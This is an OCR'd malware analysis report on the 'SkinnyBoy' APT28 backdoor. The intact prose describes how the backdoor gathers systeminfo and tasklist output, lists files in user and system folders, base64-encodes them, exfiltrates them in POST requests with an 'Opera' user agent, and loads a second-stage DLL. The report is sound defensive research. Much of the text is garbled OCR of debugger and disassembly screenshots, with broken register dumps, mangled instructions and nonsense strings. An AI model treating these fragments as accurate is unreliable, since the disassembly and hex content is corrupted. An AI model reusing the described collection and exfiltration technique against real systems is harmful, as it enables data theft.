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Summary

The malware extracts configuration information about the machine that it infects using the systeminfo command, and
then it retrieves the list of processes by spawning a tasklist process. The content of the following directories, along

with the processes’ output, is base64-encoded and exfiltrated to the C2 server updaterwebl[.]Jcom:

e Desktop folder

e C:\Program Files

e C:\Program Files (x86)

e C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools
e C:\Users\<User>\AppData\Roaming

e C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Templates

e CA\WINDOWS

e C:\Users\<User>\AppData\Local\Temp

The user agent used during the network communication is set to “Opera”, and the following is the structure of the
POST request: “id=<hostname>#Username#<Serial number in decimal>&current=1&total=1&data=<data to be
exfiltrated>”. The “cmd=y” command is used to download a DLL file from the C2 server, which is loaded using the

LoadLibraryW API, and the first ordinal function is executed.

Analyst: @GeeksCyber

Technical analysis

SHA?256: aeObc3358fef0ca2al03e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698

The DLL has 2 exports (DllEntryPoint and RunMod). We have used rundll132.exe to run the DLL by calling the

RunMod function:

mAview-A [ [0 Hexview-1 [ [&] structures 7] [E] Enums [ mports [ (2 Exports )
Mame Address Ordinal
¥ runMod | GBD71D90
DIEntryPoint 6BD73365 [main entry]
Figure 1

The malware creates an unnamed event object by calling the CreateEventW API:
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XB7SW_B 0 xB7SW C3 0 xB7SW C2
XB7SW_CL O XB7SW.CO 0O XB7SW_ES
X87SW_SF O xB87SW_P 1 x875w_U
Qﬂrrﬂt!m . v
> - - _ -

pTr

+TENT:EBD71DAE apt28.d11:$1DAB #11A8
Woumol  Poump? E%Dump3  Dump4  WHDumps

Figure 2

Two new threads are created by the process using the CreateThread function:

. push 0 A/ IM_D 3 (IMLY)  AS/ I/ 3 LEWNLY)
- push 0
. push o x87Statusword 0020
. push aptzs.&ED71780 xB7SW_B 0 xB75W_C3 O xB7SW.C2 0
- push 0o XB7SW_C1 0 xB7SW_CO O XB7SW_ES O
. push o XB7SW_SF 0 x87SW P 1 XxB87SW.U O
.

B>
.

esi=<kernel3z.CreaterThread> (76A74580) Fesp+s] 00000000
[esp+8] 6BD71780 apt28.&ED71730
[esp+C]_00000000

. Text:6BD7IDCE apt28.d11:$1DCE #11CB

@ Watch1  b=lLocals 4 Struct

WWoump2  Wyoump3  WWoump4  WDumps

X87TW_6 3 (EmpTy)

X87TW_7 3 (Empty)

0 sh x87StatuswWord 0020

19 D7 6B X87SW_B O X87SW.C3 0 x87SW C2 O
0 o XB7SW_C1 O X87 0 0 x87SW_ES O
0

X87SW_SF 0 X87 1 X87SW_U

esi=<kernel3z.CreateThread> (76AT45B0) 2: [esp+4] 00000000
: [esp+3] 6BD71960 apt2a.6BD71960
4: [esp+C] 000DDO0D

.text:6BD7IDDE apt28.d11:$1DDE #11DE

Wyoump1  @oump2  Woump3  Woumpa  WMoumps @ watch1  Dellocls Y Stuct

The GetMessage routine is utilized to retrieve a message from the thread’s message queue:

push 0 x87statusword 0020
push o x875W_B O xB7SW_C3
push 0

0 x87SW_C2 O

X87SW_C1 O XB7SW_CO O X87SW_ES O

'Ieaheax,dnnrd ptr ss:ffebp-zof XBTSW_SF O xB7SW_P 1 X87SW_.U O
eax

ebX=<USer3z.GetMessagea> (75CFFCE0)

. TeXT:6BD71D12 aptz8.d11:$1D12 #1112

@Woumpt  UWDump2  WlDump3  UWDump4  UWDumps @ watchi  Iellocals 4 Stuct

Srerannn An ar Anlnn nr rr arTan fn aa Anlna Anore o e A

Figure 5

The malicious process enumerates all the messages, and it breaks the loop if the message is equal to 0x16
(WM_ENDSESSION - inform the application whether the session is ending):
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Ltext:6BD71D21

.text:6BD71D21 loc_6BD71D21: ; dwiilliseconds
.text:6BD71021 push leea

.text:6BD071D26 call edi ; Sleep

Ltext:6BD71D28 cmp esi, BFFFFFFFFh
.text:6BD71D28 jz short loc_6BD71D59
I 1

Y

s
Ltext:6BD71D20 cmp [ebpHisg.message],
text:6BD71D31 j=z short loc_6BD71D59

1
Y

il e =]

.text:6BD71D33 lea eax, [ebpHisg]
.text:6BD71D36 push eax ;3 1pMsg
.text:6BD71D37 call ds:TranslateMessage
.text:6BD71D3D lea eax, [ebpHisg]
.text:6BD71048 push eax ; lpMsg
text:6BD71D41 call ds:DispatchMessagew

.text:6B071047 push e ; wMsgFilterMax
.text:6BD71D49 push @ 3 wMsgFilterMin
.text:6BD71048 push e ; hwnd

text:6BD71D4D lea eax, [ebpHisg]
.text:6B071058 push eax
.text:6BD71D51 call ebx ; GetMessaged

1pMsg

.text:6BD71053 mowv esi, eax

.text:6BD71D55 test esi, esi

.text:6BD71D57 jnz short loc_BBD71D21
T 1

Figure 6
Thread activity — StartAddress function

The malware creates an anonymous pipe using the CreatePipe API:

&8 00 90 01 0O push 13000 x87Tagword EFFF
glg 85 EO 6F FE FF ;5: eax dword ptr ss:[lebp-130z20) X87TW_0 3 (EMPTY) X87TW_1 3 (EMPTY)
ok XB7TW_2 3 (Empty) XB7TW_3 3 (Empty)
8 85 £C 6F FE £ ;s:hE:;xdwnrd ptr ss:[febp-19014] e el R (e
8D 85 FO 6F FE FF lea eax, dword ptr ss:[febp-13010] X87TW_6 3 (Empty)  x87TW_7 3 (Empty)
50 ush ea
88 FA et x875tatusord 000D
88 F1 mov esi,ecx esi | X87SW.E 0O xB7SW.C3 O XB7SW.CZ O
C7 85 ED 6F FE FF 0C 00 00mov dword ptr ss:[febp-15020[,C oC: | XB7SW.C1 0 xB7SW.CO O XB7SW_ES 0
C7 85 E4 6F FE FF 00 00 00lmov dword ptr ss:[ebp-1301CJ,0 XB7SW_SF 0 XS7TSWF 0 XS7SW U 0
S7 85 Es G FE EE 01 00 0oimoy dword pir s [Ehp 150151
FF 15 58 BO D7 68 €all dword pEr ds:[<acreateripe] v
i = L |Default (strca) +|[5_[£]0] unlock
- - 1: [esp] 02F56924
dword ptr [GBD7BDSB <apt28.dacreatePipe>]=<kernelsz.CreatePipes 2: [espr4] 02F56920
3: [esp+s] 02F56914
4: [esp+C] 00013000
.TEXT:EED71119 aprzs.dll:$1119 #519 -

@ 02F56924
@Woump1 | @hoump2  @Hoump3  @Houmps  @pumps @3 watchi  [x=lLocals & struct 02F5685C | 02F56920
Address | Hex | ascIz | g;:;gg{: OZFiEBfH
02F56914[0€ 00 00 00[00 00 00 00[01 00 00 00[00 00 00 OO[R...... .. ..ot | nmccconm ESE.,HM

Figure 7

antao conTiTan

GetStartupInfoA is used to retrieve the content of the STARTUPINFO structure from when the calling process was

created:

‘ua?sw,sF 0 x87SW_P 0 X875W_U O
==

v
5 | Default Gtdeal) ~ |5 [£] 0 unlock

- 1: [esp] 02F568C8
dword ptr [6BD7BO54 <aptZs.&GetstartupInfoA-]J=<kernel3z.GetsStartupInfoA> 2: [esp+4] 6BD71780 apt28.6BD71780

3: [esp+8] 6BD71780 apt28.68D71780
4: [esp+C]_00000000

- . - -
€7 85 94 6F FE FF 44 00 00 mov dwnrd REE [ehp 1906Cf, 44 44:
FF 15 54 BO D7 6B call dword ptr | [MetstartupIm‘u}b]

.text:6BD7114D apt28.d11:$114D #54D
il e o O R O P I T B R iy R 02F568C8E |

Figure 8

Page 3 of 16



https://cybergeeks.tech/skinnyboy-apt28/

The binary creates a new process that runs the systeminfo command, which displays configuration information about

the computer and its OS:

EED7 1180 50 push eax g = 5 eax: "systeminf X87r7 00000000000000000000 ST7 EMF
8 8D B85 94 &F FE FF lea eax,dword ptr ss:[Jebp-1906C[
50 push eax eax:"systeminf x87Tagword FFFF
g: gg D:zn g X87TW_0 3 (Empty) x87TW_1 3 (Emp
&A 00 push o X87TW_2 3 (Empty) X87TW_3 3 (Emp
i gush 5 XB7TW_4 3 (Empty) x87TW_5 3 (Emp
64 00 push 0 X87TW_6 3 (EmpTy) X87TW_7 3 (Emp
6A 00 push 0
8D 85 F4 GF FE FF lea eax,dword ptr ss:[febp-1900C] [ebp-1900C]:0r x87statusword 0000
50 push eax eax: "systeminf XB7SW_B 0O x875W_C3 0O xB875wW_C2
6A 00 0 X87SW_CL 0 X87SW_CO 0 XS87SW_ES
C7 85 AD 6F FE FF 30 EE D7/mov dword ptr ss:|[febp-19060],apt2s. 6BD7EE30 [word ptr [ebp XB7SW_SF O x87SW_P 0 XB7SW_U
C7 85 CO 6F FE FF 01 01 0O{mov dword ptr ss:[febp-19040§,101 ; .
FF 15 50 BO D7 6B call dword ptr ds:[6BD7BO50] CreateProcessA v |- = o
e e Sm == | pefault (stdcall) +|[5 =] unleck
=_—— [E0
dword ptr [apt28.6BD7BOS0]=aclayers.&ACI4EZ0 2: EESgL‘] 02F56928 "systeminfo”
3: [esp+8] 0D00DDODD
4: [esp+C]_000DOODD
.Text:6BD711B1 apt28.d11:$11B1 #5B1 e
a 000D0000
Woump1 | goump2  @Woump3  @Woumps  @oumps @ watthi  x=llocals ¥ struct 05F56564| 02F56928 | "systeminfo”
Address | Hex ASCIT ~ [(OZkacnns
02F5GBCE[ 44 00 00 00 E et e
02F5GBDE( 00 00 00 00|00 00 bor=tnna moonass
02F5GBES| 00 00 00 00|00 00 e e re e e
02F5GBF8( 00 00 00 00|00 00 L e
02F56308(8C 02 00 00|00 00 SR s
02F56918( 00 00 00 00|01 00
Aseccaselvs va 73 saler en 2o 02F563A4 | 0ZF56BEE

Figure 9

The pipe created earlier is used as an inter-process communication mechanism. The output of the systeminfo

command is read via a ReadFile function call:

push 0
push ebx x875tatusword 0000
push esi XBFTSW_B O XS87SW_C3 0O xB7SW_C2Z
push eax XB7SW_C1 O x87SW_CO 0 X87SW_ES
push dword ptr ss:[ebp-13010] XB7SW_SF O X87SW_P 0 XB7SW_U
mov_dword ptr ds:([edi],eax — o
call dword ptr ds:[<&ReadFile=] =
e S , | Default (stdcal) ~|[s_ 2] unlock
1: [es|
dword ptr [E6BD7BO3C <aptzs.&ReadFiler]=<kernel3z.ReadFile> 2z Esplq] 02F38080
3: [esp+8] 00000979
4: [esp+C] 02F6F360
. Text: 6BD7122C apt28.d11:§122C #62C i ——
g 00000288
WWoump:  @Ypump2 @Yoump3  @lpumps  @Wpumps @ watch1  llocas 4 Struct TEEETT et
02F5689C | 00000979
Address | Hex | asc1z I " |o2rseaac | o2reraen
02F98080 [0 00 00 nn|nn 00 00 nn‘nn 00 00 nn|nn 00 00 nn| ................ | 02F568A4 | 00000000

Figure 10

Address | Hex ASCIT

02F980B0 [ 0D OA 48 GF|73 74 20 4E|61 6D 65 3A|20 20 20 20|h.HOSt Name:
02F980CO | 20 20 20 20|20 20 20 20 44 45 53 DES
D2F930D0| 4B 54 4F 50(2D 32 43 oo oa 4F 53| kToP-2dJl. o5

D2F980ED| 20 4E 61 6D (65 3A 20 20|20 20 20 20|20 20 20 20| Name:

D2F980F0D| 20 20 20 20(20 20 20 20|20 4D 69 63|72 6F 73 6F Microso
02F98100( 66 74 20 57(69 6E 64 6F |77 73 20 31|30 20 45 6E|fTt Windows 10 En
02F98110|74 65 72 70|72 69 73 65|0D 0OA 4F 53|20 56 65 72| terprise..05 Ver
02F98120| 73 69 &F 6E|3A 20 20 20|20 20 20 20|20 20 20 20|sion:

02F958130| 20 20 20 20|20 31 30 2E|30 2E 31 36|32 39 39 20 10.0.16299

02F98140| 4E 2F 41 20|42 75 69 6C |64 20 31 36|32 39 39 OD|N/A Build 16299.
02F98150(0A 4F 53 20(4D 61 6E 75|66 81 63 74|75 72 &5 72|.05 Manufacturer
02F281e0| 3A 20 20 20|20 20 20 20|20 20 20 20|4D 69 63 72|: Micr
02F98170|6F 73 6F 66|74 20 43 6F |72 70 6F 72|61 74 69 6F |osoft Corporatio
02F98180( 6E 0D OA 4F (53 20 43 6F|6E &6 69 67|75 72 81 74|n..05 Configurat
02F98190| 69 6F GE 3A|20 20 20 20|20 20 20 20|20 20 03 74|ion: 5t
02F981A0| 61 6E 64 61|6C 6F 6E 65|20 57 6F 72|6B 73 74 61| andalone wWorksta
02F981B0 (74 69 6F GE(OD 0OA 4F 53|20 42 75 69|6C 64 20 54| tion..05 Build T
D2F981CO| 79 7O &5 3A(20 20 20 20|20 20 20 20|20 20 20 20| ype:

02F981D0| 20 4D 75 6C|74 69 70 72|6F 63 65 73|73 6F 72 20| Multiprocessor

Figure 11

The list of processes is retrieved by creating a new process that runs the tasklist command:

50 push eax eax: “tasklist™ X87r7 00000000000000000000 ST7 Emf
8D 85 94 GF FE FF lea eax,dword ptr ss:[febp-1306C[
50 push eax eax: “tasklist™ xa7Tagword FEEF
oo Dgz: - X87TW_0 3 (Empty)  x87TW_1 3 (Emf
€A 00 push b X87TW_2 3 (EmpTy) Xx87TW_3 3 (Emp
ey gush i x87TW_4 3 (Empty) xB7TW_5 3 (Emf
6a 00 push 0 X87TW_6 3 (EmpTy)  X87TW_7 3 (Em
6A 00 push 0
8D 85 F4 GF FE FF lea eax,dword ptr ss:[febp-1900C] x87statusword 0000
50 push eax eax: "tasklist” XB7SW_B O XB7SW.C3 0 XBTSW C2
€A 00 push 0 X87SW_C1 0 X87SW_CO 0O XB87SW_ES
C7 85 A0 GF FE FF 30 EE D7|mov dword ptr ss:[[ebp-13060],apt28. 6BD7EE30 [word ptr [ebp | xB7SW_SF 0 x87SW_P O xB7SW_U
C7 85 CO 6F FE FF 01 01 00|mov dword ptr ss:|[febp-13040],101
FF 15 50 BO D7 68 call dword ptr ds:[6BD78050] CreateProcessA v |- -
iamine e =75 | efault (steal) ~[5_[2] ] uniock
1t [es|
dword ptr [apt28.6BD7B050]=aclayers.GAC34E20 2t esglﬂ 02F56928 "Tasklist"
3: [esp+s] 00000000
a: [esp+c]_oooooooo
.Text: 6BD711B1 apt28.d11:$11B1 #5B1 S S
& 00000000
@oumpt  @ypumpz  WMoump3  @WDump4  WWDumps @ watchi  Iellocals 4 Struct 02F56884 | 02F56928 | "tasklist"
02F56888
ASCII ~
00 00 00[01 0O 0O 0O|8C 02 0O 00|k.. T o
€1 73 6B 732 74|00 6F 0O 0O asklist.o e
00 00 00(0G 0O OO 00|00 00 0O 0D G SEEENE
00 00 00[00 00 0O 00|00 o ene Hnonnnng
00 00 00f00 00 00 00|00 e e
00 00 00|00 00 00 00|00
cxi et i i 02F568A4 | D2F56888
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Figure 12

The output of the tasklist command is transmitted to the main process using the ReadFile API:

€A 00 push o
53 push ebx
56 push esi
0 push eax

5

FF BS FO 6F FE FF push dword ptr ss:[Jebp-19010]
9 07 mov_dword ptr ds:[edi],eax
FF 15 3C BO D7 6B €all dword ptr ds:[<eReadFilex]

x&7Statusword D000

X87SW_B D XB7SW_C3 0 X87SW_C2
XB7SW_CL O xB7SW CO O x87SW_ES
X8TSW_SF D XB7SW_P O XS87SW_U

- ] nlock

w ————
| Default (stdcall)

Gword ptr [6807B0SC <aptas.&Readriles]—ckernelsz.Readriler e T D
3: [esp+8] 000D168E
.text:68D7122C apt28.d11:$122C #62C dipes pel] J0ZEGESE
Wyoump 1 @oump?z  @Woump3  @Hoump4  @Houmps @ watch1  Ie-llocals 5 Stuct &%ﬁgﬁ:zg‘
Address | Hex | AscIz | o [ E A MR
o P e P | ! 0irsesas 000000
Figure 13
Address | Hex ASCII |
02F9B8A38 0D DA 49 6D |61 67 65 20|4E 61 6D 65|20 20 20 20|k.Image Name
02F98A48( 20 20 20 20|20 20 20 20(20 20 20 20|20 20 20 20
02F9BA58 |20 50 49 44|20 53 65 73|73 63 6F 6E(20 4E 61 6D| PID Session Nam
02F98AGS | 65 20 20 20|20 20 20 20|20 53 65 73|73 69 6F GE|e session
02F98A78(23 20 20 20|20 4D 65 6D (20 55 73 61|67 65 OD DA|#  Mem Usage..
02F98A88 (3D 3D 3D 3D (3D 3D 3D 3D (3D 3D 3D 3D|3D 3D 3D 3D
02F98A98 (3D 3D 3D 3D (3D 3D 3D 3D (3D 20 3D 3D|3D 3D 3D 3D
02F98AAS (3D 3D 20 3D (3D 3D 3D 30D (3D 30 3D 3D (3D 30 3D 30|== =====
02F9BABS (3D 3D 3D 20(3D 3D 3D 3D (3D 3D 3D 3D (3D 3D 3D 20|=== ===========
02F9BACS (3D 3D 3D 3D (3D 3D 3D 3D (3D 3D 3D 3D (0D 0A 53 79|============,,5y
02F9BADS |73 74 65 6D |20 49 64 6C(65 20 50 72|6F 63 65 73|stem Idle Proces
O2F9BAES |73 20 20 20(20 20 20 20|20 20 20 20|20 20 20 30(s 0
02F98AF8| 20 53 65 72|76 69 63 65 (73 20 20 20(20 20 20 20| Services
02F98BOS | 20 20 20 20|20 20 20 20(20 20 20 20|30 20 20 20 0
02F98B18 |20 20 20 20|20 20 20 38|20 4B 0D OA 8 K..Syst
02F98B28( 65 6D 20 20|20 20 20 20|20 20 20 20(20 20 20 20|em
02F98B38| 20 20 20 20|20 20 20 20(20 20 20 20|20 34 20 53 45
02F98B48| 65 72 76 69|63 65 73 20(20 20 20 20|20 20 20 20|ervices
02F98B58| 20 20 20 20|20 20 20 20(20 20 30 20(20 20 20 20 0

Figure 14

The binary gets the path of the Desktop folder using the SHGetFolderPathW routine:

51 push ecx
6A 00 push 0
6A 00 push 0
50 push eax
6A 00 push 0
EIP FF 15 98 Bl D7 68 €all dword ptr ds:[<a&SHGetFolderPathws>]

x875tatusword 0000

X87SW_B 0 xB7SW.C3 0 x875W_C2
0 XB7SW.CO 0O X87SW_ES
0 x87SW_U

X87SW_CL
XBTSW_SF O XBTSW_P
[Pt

Default (stdcal)

>

dword ptr [6BD7B138 <apt28.&SHGetFolderPathw=]=<shell3z.SHGetFolder Path>

.text:6BDT14D3 apt2z8.d11:514D3 #3D3

@Woump1 | glpumpz  @oump3  @oump4  @loumps @ watchi  [xelLocals P struct

1: [esp] 00000000

2: [esp+4] 00000000

3: [esp+r8] 000D000O

4: [esp+C] 00000000
e

00000000
02FEF468 | 00000000

A

Address | Hex |Asciz |
02FGFGES [0 00 00 00|DD 00 00 DD‘OO 00 00 oo|uu 00 00 DD‘ ................ |

Figure 15

02FEF46C | 00000000
02FEF470 | 00000000
02FEF474| 0ZF6FGES

The process enumerates the files/directories from the Desktop directory using the FindFirstFileW and

FindNextFileW functions:

push eax
lea eax,dword ptr ss!
push eax
€all dword ptr ds:[<&FindFirstFilews]

jebp-24C]

50
8D 85 B4 FD FF FF
50

FF 15 60 BO D7 6B

eax:L"Cr\\User

eax:L"C:\\User

MB7SW_C1 0 X87SW_CO 0O XB7SW_ES
XB7SW_SF 0 x87SW_P 0O xB7SW_U

& [T Z
v [5_2]0 unlodt

| Defait (ctdeal)
1: [esp] 02FeFeE8 L"C:\\users\' Il

>

dword ptr [6BD7BO60 <apt28.&FindFirstFilews]=<kernel32.FindFirstFilews

.text:6BD71526 apt28.d11:$1526 #9326

Woump1  @yoump2  @Woump3  @hpumps  @Woumps @ watchi  IrelLocals P struct

Figure 16

®||6BD71669 push eax
D7166A push dword ptr ss:[febp-4a4]
€all dword ptr ds: [<&FindNextFilews]

FF BS 5C FB FF FF
FF 15 74 BO D7 6B

2: [esp+4] 02F6F498
3: [esp+8] 68D71780 apt28.6BD71780
4: [esp+C] 6BD71780 apt28.6BD71780

[ rtmic s ———————
D2FEFEER [ L"C:\\Users' \JE\\Desktop\\*"
02FEF474| D2F6F438

X8TSW_SF O XB7SW_P

~ |[5_=] [0 unied

0 x87SW_U

dword ptr [6BD7BO74 <apt28.&FindNextFilew>]=<kernel3z.FindNextrilews

. TeXT:EBD71670 apt28.d11:$1670 #A70

Woumpt  @Woumpz  @Woump3  @Woump4  @Wpumps @ watch1  [x-lLocals 2 struct

Figure 17

vl e
| Default (stdcall)
02F6F498

1: [esp] 02F88820

2: [esp+4]

3: [esp+8] 6BD71780 apt28.6ED717E0
4: [=sp+C] EBD71780 apt28.EED71780

Fﬁﬂiq 02F88820
02F6F474| D2FEF498

The binary adds 18 characters of “#” before and after the folder name, as following:
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Address ASCII
02F97 880 23 00 23 00 | #. 2. 2. 2. F.8.8.8.
02F297 890 23 00 23 00 |#.#.2.#. 8. 8. 8. #.
02F97 BAD 73 00 &5 00D #.#.C]ilili.s.e.
02F97 BBOD SC 00 44 00| r.5.% i e
02F278C0 SC 00 2A 00| e.5.k.T.0.p.\.*.
02F97 8D0O 23 00 23 00 | #,. 2. 2. 2. F.82.8.8.
02F978ED 23 00 23 00 |#.#.2.#. 8. 8. 8. ¥,
02F278F0 00 00 OO OOl#.#. .0 nnnnns
Figure 18

The list of files and directories extracted before is concatenated with the above string, as shown in figure 19:

Address | Hex ASCIT

0ZF971A8 |23 00 23 00|23 00 23 00|23 0D 23 00|23 00 23 00D |#. 2. 8. #. &, 8. #. &,
0ZF971BS8 (23 00 23 00|23 00 23 00|23 00 23 00O(23 00 23 0D | #.#. 3. 8. #. 8. #. 8.
0ZF971C8 (23 00 23 00|43 00 ii ii ii ii ii o073 00 65 00| #.#.C 2 i
0ZF971D8( 72 0O 73 00D|5C 0O 00|5C 00 44 00(r.5.% ]
02F971E8| 65 00 732 00|6GB 00 74 0O0|6F 00 70 OO|5C 00 2A D0|(e.s.K.T.0.p.Y%.*.
0Z2F971F8( 23 00 23 00|23 00 23 00|23 00 232 00|23 00 23 0D |#.2. 8. 8. . 8. #. 8.
0Z2F97208(23 00 23 00|23 00 23 00|23 00 23 00|23 00 23 0D | #. 2. 3. 8. #. 8. #. 8.
0Z2F97218(23 00 23 00|0OD OO0 OA COOD|OD OO0 OA QO[30 00 61 OO | #.#. .0 uens 0.a.
02F97228| 30 00 632 00|32 00 32 00|35 00 &6 00|30 00 &5 0OO(0.C.2.2.5.FT.0.e.
0ZF97238(35 00 &5 00|65 OO0 392 00|34 00 31 0O(61 0O 37 0D|5.2.2.9.4.1.8.7.
DZ2F97248| 39 00 66 00|32 00 &2 00|37 00 37 00|30 00 31 O0O|9.F.2.b.7.7.0.1.
02F97258| 66 00 31 00|32 00 38 00|35 00 &5 00|34 00 39 00(T.1.2.8.5.e.4.9.
0ZF97268(37 00 35 00|61 OO0 32 00|38 00 35 0O(392 00 65 0D|7.5.8.2.8.5.9.8e.
D2F97278| 62 00 34 00|64 00 320 00|32 00 35 00|64 00 39 00| b.4.d.0.2.5.d.9.
02F97283| 36 00 64 00|32 00 &5 00|33 00 36 00|36 00 65 00(6.d.92.2.3.6.6.2.
D2F97298| 38 00 31 00|61 0O &2 0O0D|62 00O 39 OO|2E OO 62 0O0O|8.1.a.b.b.9...b.
02F972A8| 6% 00 &E OO|2E 00 73 00|61 OO0 6D OO|(7F0 OO &€ OO|(i.n...s.a.m.p.1.
02F572B8| 65 00 2E OO(67 OO0 7A OO|OD OO0 OA QO|OO0 OO0 OO0 OO(E...Q.Ze.cecunnns
Figure 19

The following directories are also targeted by the backdoor: “C:\Program Files”, “C:\Program Files (x86)”,

“C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools”, “C:\Users\
<User>\AppData\Roaming”, “C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Templates”,
“C:\WINDOWS” and “C:\Users\<User>\AppData\Local\Temp”. The SHGetFolderPathW function is utilized to
obtain some of these folder names (0x2a = CSIDL._PROGRAM_FILESX86, 0x30 = CSIDL_ADMINTOOQOLS,
Oxla = CSIDL_APPDATA, 0x15 = CSIDL_TEMPLATES and 0x24 = CSIDL_WINDOWS):

51 push ecx x875tatusword 000D
64 00 push 0 XB7SW_B 0 x875W.C3 O xB7SW C2 0
64 00 push 0 XB7SW_CL 0 x875W_CO O xB75W ES 0
50 push eax XB7SW_SF 0 x875W_P O xB75W.U 0
64 00 push 0 e ne s
FF 15 98 Bl D7 68 €all dword ptr ds:[<&sHGerFolderPathw=] = =
s 5 | Defeult (stacall) ~|[5 [£] 0 urlock

dword ptr [6BD7B198 <apt28.&SHGetFolderPathW>]=<shell32.5HGetFolderPathi>

.TEXT:EBD714D3 apt28.d11:$14D3 #E8D3

WWoump1 | @pump2  @Hoump3  WHoump4  WHoumps @ watcht | ixellocals 7 Struct

1: [esp]

2: [esp+4] 000000ZA
3: [esp+] 00000000
2: [esp+C] 00000000
5: [esp+10] 02FEF770

00000000
02FGF4F0 | 00000024

[~ ||
| llozrerarc| ozrer7zo

Address | Hex | Asciz ]
02F6F762 |31 00 00 00[30 00 00 00[31 00 00 00[00 01 00 00[1...0...1....... |

Figure 20
51 push eck x87Statusword 0000
64 00 push 0 XB7SW_B 0 X87SW_ C3 O XB7SW.C2 O
64 00 push 0 XB7SW_CL 0 x875W_CO O xB75W ES 0
50 push eax XB7SW_SF 0 P 0 XB7SW.U 0
64 00 push 0 e
FF 15 98 Bl D7 68 €all dword ptr ds:[<&sHGerFolderPathw=] [ =
B 5 | Defoult (stdcal) ~|[5 2] urlock

dword ptr [6BD7B198 <apt28.&SHGetFolderPathW>]=<shell32.5HGetFolderPath>

.TEXT:EBD714D3 apt28.d11:$14D3 #E8D3

WWoump1 | @pump2  @Hoump3  WHoump4  WHoumps @ watcht | ixellocals 7 Struct

1: [esp]

2: [esp+4] 00000030
3: [esp+a] 00000000
2: [esp+C] 00000000
5: [esp+10] 02FEF770

| Asciz ]

00000000
02FGF4F0 | 00000030

[n
| 02F6F4FC | 0ZF6F770

Address | Hex
02FE&F762| 31 00 00 OD|4E 00 45 ou|54 00 00 ou|uo 01 00 OD|1...h.E.T.......|

.TEXt:EBD714D3 apt28.d11:$14D3 #8D3

@Woump1 | @pump2  @Hpump3  @pumps  Wloumps @ wakh1i  bellecals @ Stuct

2: [esp+a] 00000000
4: [esp+C]_0DDOODOD
5: [esp+10] 02FEF770

push ecx X/STATUSWOra LUUD
push 0 X87SW_B 0 X87SW_C3 0 Xx87sw.Cz O
push 0 X87SW_C1 0 X87SW_CO 0O X87SW_ES O
DHSE eax XB87SW_SF O X87SW_P 0 x87sW_U o
sh 0 s
EIP, €all dword ptr ds:[<&SHGetFolderPathw:>] w [=
---------------- 5 | Defeult (stdcal) = [5_2][ unlod
1: es| 00000000
dword ptr [GED7E198 <aptz8.&SHGeTFolderPathw>]=<shell32.SHGetFolderPathus 2: Eesgl-ﬂ 0000001A

Address | Hex | Asciz ]
02F6F762|31 0D 00 OD[4E 00 45 00[54 00 00 0000 01 00 00| L...N.E.T.......|
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Figure 22

push ecx xa75tatusword 0000
00 X87SW_B 0 x87SW.C3 O XBTSW.C2 0
00 X87SW_C1 0 x87SW_CO O XB7SW_ES 0

X87SW_SF O XB87SW_P 0 XB7SW_U 0O

B
5 |Default (stdcal) ~ |[5_2][] unlock
o 1: es| 00000000

dword ptr [6BD7B198 <aptZs.&SHGetFolderPathw-]=<shell32.SHGetFolderPathw> : E25814] 00000015

[esp+8] 000000OO

[esp+C] 00000000

[esp+10] 02F6F770

00
15 98 B1 D7 68

.text:6BD714D3 apt28.d11:$14D3 #8D3

WWoump1 | @pump2  @Hoump3  WHoump4  WHoumps @ watcht | ixellocals 7 Struct

Address | Hex [AscIz | [
02F6F762|31 0D 00 00[4E 00 45 00[54 00 00 00[00 01 00 0O[1...N.E.T....... | |

02F6F4FC | 0ZFEF770

Figure 23

x875tatusword 0000

X875W_B D xB75W.C3 0O XB7SW.C2 0
X875W_C1 0 X875W_C0 O XB7SW_ES 0O
X87SW_SF 0 X87SW_P 0 XB7SW.U 0O

v
5 |Default (stdcal) ~ |[5_2][] unlock

0
98 B1 D7 &B <&SHGetFolderPathis]

o 1: [esp] 00000000

dword ptr [6BD7B198 <apt2s.&sHGetFolderPathw-]—<shellsz.SHGetFolder Pathw> 2: {ESEL] 00000024
3: [esp+8] 00000000
4: [esp+C] 00000000
5:

.TEXT:EBD714D3 apt28.d11:$14D3 #E8D3 [esp+1Dd] 02FEF770

@oump1 | @Yoump2  WHDump3  WHoump4  WWoumps @ watch1  -llocals 7 Struct

Address | Hex |.Asc1T | [ ~ || 02F6E4F4
02F6F762 |31 00 00 un|4E 00 45 un|54 00 00 un|nu 01 00 DDll...N.E.T ....... | | 02FGF4FC | D2FGFT70

Figure 24

The GetTempPathW API is utilized to retrieve the path of the % TEMP% directory:

50 push eax XB7SW_SF O XB7SW_P 0 X87SW_U 0
68 04 01 00 00 push 104 —o—uaso
FF 15 AB BO D7 6B call dword ptr ds:[<aGetTempPathw:] =

5 =
, | Defoul (strcal) ~ |[5_2] [ unock

el T: [es 10
dword ptr [GBD7BOAS <aptz8.&GETTempPAathi:]=<Kernel3z.Get empPathns: 3t EESEM] 02FEF770
3: [esp+8] 6BD71780 apt28.6BD71780
4: [esp+C] 6BD71780 apt28.GED71780
.TexT:GED7I4E7 apt28.d11:$14E7 #8E7 5t
B
0

[ ‘0000011
Woumpt  @Dump2  @WDumps  WWDump4  @Woumps @ wewhi | lleals P stuct mﬁ D2FEFTT

[esp+10] 00000000

Figure 25

The file initializes the use of the WinINet functions using the InternetOpenW API (the user agent is hard-coded as
“Opera”):

6A 00 push o x87Tagword FFFF

g: gg DSZR g X87TW_O 3 (Empty)  x87TW_1 3 (Empty)
Faiks Lo e X87TW_2 3 (Empty) x87TW_3 3 (Empty)
el fiH AT X87TW_4 3 (Empty) x87TW_5 3 (Empty)
68 6C_EF D7 68 push apt28.6BD7EFEC GEDTEF [ X87TW_E 3 (Empty)  X87TW_7 3 (Empty)
89 35 DO FE FF FF mov dword s5:[febp-130]), eax [ebp-1

89 8D CC FE FF FF mov dword ptr ss:febp-134],ecx [ebp-1 x875tatusword 0000

89 85 E4 FE FF FF mov dword ptr ss:febp-11C],eax [ebp-1 X87SW_B 0 x87S5W €3 0 xB7SW €2 O
€7 85 CO FE FF FF 01 00 00/mov dword ptr ss:febp-140§,1 X87SW_C1 0 X87SW_CO O XB7SW_ES O
C7 85 D8 FE FF FF 00 00 00jmov dword ptr ss:|[febp-123],0 X87TSW_SF 0 X87SW_P O XBTSW_U O
C7 8 DC FE FF FF 00 00 00{mov dword ptr ss:[febp-124],0 P -

